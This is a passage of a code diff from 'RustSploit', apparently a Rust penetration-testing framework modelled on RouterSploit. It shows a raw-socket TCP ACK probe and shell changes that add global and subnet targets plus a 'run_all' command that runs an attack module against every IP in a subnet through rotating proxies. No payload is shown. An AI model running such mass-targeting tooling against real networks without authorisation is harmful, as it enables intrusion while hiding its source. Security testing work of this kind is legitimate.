let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(*ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(tcp_pkt.packet());
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
|
||||
// Send packet (blocking operation)
|
||||
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
|
||||
sender
|
||||
.send_to(ip_pkt.packet(), &dst_addr.into())
|
||||
.context("Failed to send ACK packet")?;
|
||||
|
||||
// Listen for response using spawn_blocking for async compatibility
|
||||
let receiver_arc = Arc::new(receiver);
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
|
||||
let ip_clone = *ip;
|
||||
let port_clone = port;
|
||||
let src_ip_clone = src_ip;
|
||||
let src_port_clone = src_port;
|
||||
|
||||
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
match recv_result {
|
||||
Ok(Some((data, _))) => {
|
||||
if data.len() < IPV4_HEADER_LEN {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse IP header
|
||||
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
|
||||
// Parse TCP header
|
||||
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
|
||||
if data.len() >= tcp_offset + 20 {
|
||||
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
|
||||
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
|
||||
let flags = tcp_recv.get_flags();
|
||||
// RST means port is unfiltered (host is up)
|
||||
if flags & TcpFlags::RST == TcpFlags::RST {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(None) => {
|
||||
// Timeout or would block - continue waiting
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
Err(_) => {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
// Try to get a local IPv4 address for the source IP
|
||||
// This is a simple implementation - in production you might want more sophisticated logic
|
||||
use std::net::UdpSocket;
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
|
||||
if socket.connect("8.8.8.8:80").is_ok() {
|
||||
if let Ok(local_addr) = socket.local_addr() {
|
||||
if let IpAddr::V4(ipv4) = local_addr.ip() {
|
||||
return Some(ipv4);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
+184
-5
@@ -1,5 +1,6 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use crate::config;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::prelude::*;
|
||||
@@ -34,6 +35,20 @@ impl ShellContext {
|
||||
pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
|
||||
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
|
||||
|
||||
// Show global target if set
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
|
||||
if size > 1 {
|
||||
println!("{}", format!("[*] Global target set: {} ({} IPs)", target_str, size).cyan());
|
||||
} else {
|
||||
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
|
||||
}
|
||||
}
|
||||
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
@@ -96,6 +111,32 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
ctx.current_target = None;
|
||||
println!("{}", "Cleared current module and target.".green());
|
||||
}
|
||||
"show_target" | "target" => {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
println!("{}", format!("Local target: {}", t).cyan());
|
||||
} else {
|
||||
println!("{}", "No local target set.".dimmed());
|
||||
}
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
|
||||
if size > 1 {
|
||||
println!("{}", format!("Global target (subnet): {} ({} IPs)", target_str, size).green());
|
||||
} else {
|
||||
println!("{}", format!("Global target: {}", target_str).green());
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("Global target: {}", target_str).green());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No global target set.".dimmed());
|
||||
}
|
||||
}
|
||||
"clear_target" => {
|
||||
ctx.current_target = None;
|
||||
config::GLOBAL_CONFIG.clear_target();
|
||||
println!("{}", "Cleared local and global targets.".green());
|
||||
}
|
||||
"help" => render_help(),
|
||||
"modules" => utils::list_all_modules(),
|
||||
"find" => {
|
||||
@@ -252,11 +293,36 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
}
|
||||
"set" => {
|
||||
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
|
||||
// Handle "set target <value>" - require "target " prefix with space
|
||||
if rest.starts_with("target ") {
|
||||
let raw_value = rest.strip_prefix("target ").unwrap().trim();
|
||||
if raw_value.is_empty() {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
continue;
|
||||
}
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
// Set both local context and global config
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
println!("{}", format!("Target set to {}", valid_target).green());
|
||||
match config::GLOBAL_CONFIG.set_target(&valid_target) {
|
||||
Ok(_) => {
|
||||
if config::GLOBAL_CONFIG.is_subnet() {
|
||||
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
|
||||
} else {
|
||||
println!("{}", format!("Global target set to: {}", valid_target).green());
|
||||
}
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to set global target: {}", e).red());
|
||||
// Still set local target
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
@@ -264,11 +330,34 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
}
|
||||
}
|
||||
"run" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
// Try to get target from local context, then global config
|
||||
let target = if let Some(ref t) = ctx.current_target {
|
||||
Some(t.clone())
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
// Use single IP from global target (handles subnets intelligently)
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("{}", format!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
|
||||
Some(ip)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error getting global target: {}", e).red());
|
||||
None
|
||||
}
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if let Some(ref t) = target {
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
@@ -313,6 +402,90 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No target set. Use 'set target <value>' first.".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
|
||||
}
|
||||
}
|
||||
"run_all" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
// Check if we have a subnet target
|
||||
if !config::GLOBAL_CONFIG.has_target() {
|
||||
println!("{}", "No global target set. Use 'set target <ip/subnet>' first.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
if !config::GLOBAL_CONFIG.is_subnet() {
|
||||
println!("{}", "Global target is not a subnet. Use 'run' for single targets.".yellow());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Get all IPs from the subnet
|
||||
match config::GLOBAL_CONFIG.get_target_ips() {
|
||||
Ok(ips) => {
|
||||
let total = ips.len();
|
||||
println!("{}", format!("[*] Running module '{}' against all {} IPs in subnet", module_path, total).cyan().bold());
|
||||
println!("{}", format!("[*] Subnet: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
|
||||
|
||||
let mut success_count = 0;
|
||||
let mut fail_count = 0;
|
||||
|
||||
for (idx, ip) in ips.iter().enumerate() {
|
||||
println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
|
||||
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
success_count += 1;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
if tried_proxies.is_empty() {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
fail_count += 1;
|
||||
if ctx.proxy_list.len() == tried_proxies.len() {
|
||||
println!("{}", "[!] All proxies failed for this target".red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
match commands::run_module(module_path, ip).await {
|
||||
Ok(_) => success_count += 1,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
fail_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\n{}", "=== Run All Summary ===".cyan().bold());
|
||||
println!("{}", format!("Total IPs: {}", total).green());
|
||||
println!("{}", format!("Successful: {}", success_count).green());
|
||||
println!("{}", format!("Failed: {}", fail_count).red());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error getting target IPs: {}", e).red());
|
||||
println!("{}", "Note: Subnets larger than 65536 IPs are not supported for run_all. Use a smaller subnet.".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No module selected. Use 'use <module>' first.".yellow());
|
||||
@@ -382,7 +555,10 @@ fn resolve_command(cmd: &str) -> String {
|
||||
"show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
|
||||
"use" | "u" => "use",
|
||||
"set" | "target" => "set",
|
||||
"run" | "go" | "exec" => "run",
|
||||
"show_target" | "showtarget" | "st" => "show_target",
|
||||
"clear_target" | "cleartarget" | "ct" => "clear_target",
|
||||
"run" | "go" | "exec" => "run",
|
||||
"run_all" | "runall" | "ra" => "run_all",
|
||||
"back" | "b" | "clear" | "reset" => "back",
|
||||
"exit" | "quit" | "q" => "exit",
|
||||
other => other,
|
||||
@@ -445,8 +621,11 @@ fn render_help() {
|
||||
("modules", "modules | ls | m", "List available modules"),
|
||||
("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
|
||||
("use", "use <path> | u <path>", "Select a module to run"),
|
||||
("set target", "set target <value>", "Set current target host/IP"),
|
||||
("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
|
||||
("show_target", "show_target | target", "Show current local and global targets"),
|
||||
("clear_target", "clear_target", "Clear local and global targets"),
|
||||
("run", "run | go", "Execute selected module (with proxy rotation)"),
|
||||
("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
|
||||
("back", "back | b | clear | reset", "Clear current module and target"),
|
||||
("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
|
||||
("proxy_on", "proxy_on | pon", "Enable proxy usage"),
|
||||
|
||||
+2
-2
@@ -113,8 +113,8 @@ pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
return Err(anyhow!("Invalid target format: contains spaces"));
|
||||
}
|
||||
|
||||
// Check for valid hostname/IPv4 characters
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:]+$").unwrap();
|
||||
// Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
|
||||
if !host_re.is_match(&sanitized) {
|
||||
return Err(anyhow!("Invalid target format: contains invalid characters"));
|
||||
}
|
||||
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 349 KiB |
Reference in New Issue
Block a user